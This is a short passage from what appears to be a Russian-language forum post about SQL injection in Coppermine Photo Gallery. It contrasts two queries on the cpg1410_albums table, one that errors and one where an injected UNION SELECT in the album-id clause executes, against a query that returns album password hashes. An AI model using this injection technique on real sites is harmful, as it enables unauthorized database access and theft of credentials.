SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) --,inj2,0)
Приведет к ошибке, а запрос
Код:
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) union select 1,2 from cpg1410_albums where aid in (1,0)
Выполнится.
Последний раз редактировалось voron999888; 02.02.2008 в 18:20..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|